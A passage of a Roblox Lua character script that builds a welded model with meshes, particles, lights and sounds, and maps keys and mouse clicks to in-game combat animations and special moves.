  2668. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2669. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2670. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2671. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2672. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2673. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2674. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2675. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2676. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2677. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2678. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2679. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2680. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2681. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2682. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2683. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2684. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2685. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2686. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2687. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2688. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2689. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2690. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2691. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2692. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2693. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2694. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2695. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2696. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2697. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2698. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2699. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2700. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2701. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2702. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2703. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2704. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2705.  
  2706. local modelzorz3=Instance.new("Model")
  2707. modelzorz3.Parent=Character
  2708. modelzorz3.Name="Eye"
  2709.  
  2710. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2711. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2712. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2713. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2714. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2715. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2716. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2717. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2718. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2719. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2720. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2721. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2722. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2723. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2724. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2725. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2726. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2727. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2728. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2729. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2730. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2731. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2732. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2733. local moosick = it("Sound",Character)
  2734. moosick.SoundId = "rbxassetid://613035749"
  2735. --142653441, 175067863
  2736. moosick.Looped = true
  2737. moosick.Pitch = 0.9775
  2738. moosick.Volume = 1.5
  2739. moosick:Play()
  2740.  
  2741. anim = Character:findFirstChild("Animate")
  2742. if anim then
  2743. anim:Destroy()
  2744. end
  2745.  
  2746. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2747. particleemitter.VelocitySpread = 180
  2748. particleemitter.Lifetime = NumberRange.new(0.1)
  2749. particleemitter.Speed = NumberRange.new(2)
  2750. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2751. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2752. particleemitter.Rate = 100
  2753. particleemitter.Rotation = NumberRange.new(-45, 45)
  2754. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2755. particleemitter.LightEmission = 0.8
  2756. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2757.  
  2758. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2759. particleemitter.VelocitySpread = 180
  2760. particleemitter.Lifetime = NumberRange.new(0.1)
  2761. particleemitter.Speed = NumberRange.new(2)
  2762. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2763. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2764. particleemitter.Rate = 100
  2765. particleemitter.Rotation = NumberRange.new(-45, 45)
  2766. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2767. particleemitter.LightEmission = 0.8
  2768. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2769.  
  2770. local particleemitter = Instance.new("ParticleEmitter", handle)
  2771. particleemitter.VelocitySpread = 180
  2772. particleemitter.Lifetime = NumberRange.new(0.1)
  2773. particleemitter.Speed = NumberRange.new(2)
  2774. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2775. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2776. particleemitter.Rate = 100
  2777. particleemitter.Rotation = NumberRange.new(-45, 45)
  2778. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2779. particleemitter.LightEmission = 0.8
  2780. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2781.  
  2782. local light = Instance.new("PointLight", Character.Torso)
  2783. light.Color = Color3.new(255,255,255)
  2784. light.Brightness = 5
  2785. light.Range = 15
  2786.  
  2787. particleemitter.Enabled = true
  2788.  
  2789. local Footsteps = it("Sound",Character.Torso)
  2790. Footsteps.SoundId = "rbxassetid://142665235"
  2791. Footsteps.Looped = true
  2792. Footsteps.Pitch = 0.8
  2793. Footsteps.Volume = 0.3
  2794.  
  2795. local Footsteps2 = it("Sound",Character.Torso)
  2796. Footsteps2.SoundId = "rbxassetid://142665235"
  2797. Footsteps2.Looped = true
  2798. Footsteps2.Pitch = 1
  2799. Footsteps2.Volume = 0.4
  2800.  
  2801. local cam = game.Workspace.CurrentCamera
  2802.  
  2803. --cam.CameraSubject = Character
  2804.  
  2805. for i,v in pairs(Head:children()) do
  2806. if v:IsA("Sound") then
  2807. v:Destroy()
  2808. end
  2809. end
  2810.  
  2811. mouse.Button1Down:connect(function()
  2812. if attack==false and attacktype==1 then
  2813. attacktype=2
  2814. attackone()
  2815. elseif attack==false and attacktype==2 then
  2816. attacktype=3
  2817. attacktwo()
  2818. elseif attack==false and attacktype==3 then
  2819. attacktype=4
  2820. attackthree()
  2821. elseif attack==false and attacktype==4 then
  2822. attacktype=1
  2823. attackfour()
  2824. end
  2825. end)
  2826.  
  2827. mouse.KeyDown:connect(function(k)
  2828. k=k:lower()
  2829. if k=='e' then
  2830. if attack==false and mana>=20 then
  2831. Push()
  2832. end
  2833. elseif k=='g' then
  2834. if attack==false and mana>=50 then
  2835. Twirl()
  2836. end
  2837. elseif k=='v' then
  2838. if attack==false and mana>=25 then
  2839. MagicJump()
  2840. end
  2841. elseif k=='c' then
  2842. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2843. attack=true
  2844. for i = 1, 40 do
  2845. swait()
  2846. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2847. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2848. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2849. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2850. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2851. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2852. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2853. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2854. end
  2855. Blaze()
  2856. attack = false
  2857. end
  2858. elseif k=='x' then
  2859. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2860. attack=true
  2861. for i = 1, 15 do
  2862. swait()
  2863. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2864. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2865. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2866. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2867. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2868. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2869. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2870. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2871. end
  2872. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2873. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2874. for i = 0, 30 do
  2875. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2876. wait(0.1)
  2877. end
  2878. local parteffected = Instance.new("Part",tors)
  2879. parteffected.Transparency = 1
  2880. parteffected.Position = tors.Position
  2881. parteffected.CanCollide = false
  2882. parteffected.Anchored = true
  2883. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2884. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2885. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2886. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2887. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2888. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2889. local sbs = Instance.new("BodyPosition", RootPart)
  2890. sbs.P = 3000
  2891. sbs.D = 1000
  2892. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2893. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2894. for i = 1, 40 do
  2895. swait()
  2896. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2897. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2898. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2899. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2900. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2901. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2902. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2903. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2904. end
  2905. wait(3)
  2906. Blaze2()
  2907. attack = false
  2908. parteffected:Destroy()
  2909. sbs:Destroy()
  2910. end
  2911. elseif k=='q' then
  2912. if attack==false then
  2913. idle=1000
  2914. end
  2915. elseif k=='h' then
  2916. if attack==false then
  2917. mana=100
  2918. end
  2919. elseif k=='y' then
  2920. if attack==false and mana>=100 then
  2921. Shred()
  2922. end
  2923. elseif k=='f' then
  2924. if attack==false and mana>=40 then
  2925. Spin()
  2926. end
  2927. elseif k=='r' then
  2928. if attack==false and mana>=20 then
  2929. Clap()
  2930. end
  2931. elseif k=='t' then
  2932. if attack==false then
  2933. Hai()
  2934. end
  2935. elseif k=='0' then
  2936. if attack==false then
  2937. Humanoid.WalkSpeed=(24)
  2938. end
  2939. elseif k=='j' then
  2940. if attack==false then
  2941. Humanoid.Health = 10
  2942. print("Congrats, you commited suicide.")
  2943. end
  2944. end
  2945. end)
  2946.  
  2947. mouse.KeyDown:connect(function(k)
  2948. if k == "z" and Ultramode == false then
  2949. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2950. attack = true
  2951. for i = 1, 15 do
  2952. swait()
  2953. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2954. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2955. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2956. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2957. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2958. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2959. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2960. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2961. end
  2962. m:Destroy()
  2963. local m = Instance.new("Model", Character)
  2964. m.Name = "WeaponModel"
  2965. local parta = Instance.new("Part",Character)
  2966. parta.Size = vt(10,10,10)
  2967. parta.BrickColor = BrickColor.new("Really black")
  2968. parta.Material = "Neon"
  2969. parta.Shape = "Ball"
  2970. parta.Transparency = 0
  2971. parta.Anchored = true
  2972. parta.CanCollide = false
  2973. parta.CFrame = tors.CFrame
  2974. Transform()
  2975. parta:Destroy()
  2976.  
  2977. local modelzorzz=Instance.new("Model")
  2978. modelzorzz.Parent=Character
  2979. modelzorzz.Name="Claw1"
  2980.  
  2981. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2982. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2983. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2984. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2985. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2986. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2987. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2988. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2989. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2990. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2991. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2992. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2993. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2994. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2995. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2996. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2997. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2998. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2999. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
